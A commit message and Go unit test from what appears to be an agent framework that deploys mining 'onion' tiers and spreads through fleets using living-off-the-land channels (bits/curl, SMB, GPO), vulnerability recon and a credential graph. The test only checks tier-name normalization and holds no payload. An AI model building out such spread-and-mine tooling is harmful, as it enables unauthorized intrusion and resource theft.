Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/lotl_tiers_test.go

@@ -0,0 +1,20 @@
+package deploy
+
+import "testing"
+
+func TestNormalizeLotlTiersDefaults(t *testing.T) {
+	got := NormalizeLotlTiers(nil)
+	if len(got) != len(DefaultLotlOnionTiers) {
+		t.Fatalf("expected %d default tiers, got %d", len(DefaultLotlOnionTiers), len(got))
+	}
+	if got[0] != "vuln_recon" || got[len(got)-1] != "gpo" {
+		t.Fatalf("unexpected order: %v", got)
+	}
+}
+
+func TestNormalizeLotlTiersAlias(t *testing.T) {
+	got := NormalizeLotlTiers([]string{"bits/curl", "bogus", "smb"})
+	if len(got) != 2 || got[0] != "bits_curl" || got[1] != "smb" {
+		t.Fatalf("got %v", got)
+	}
+}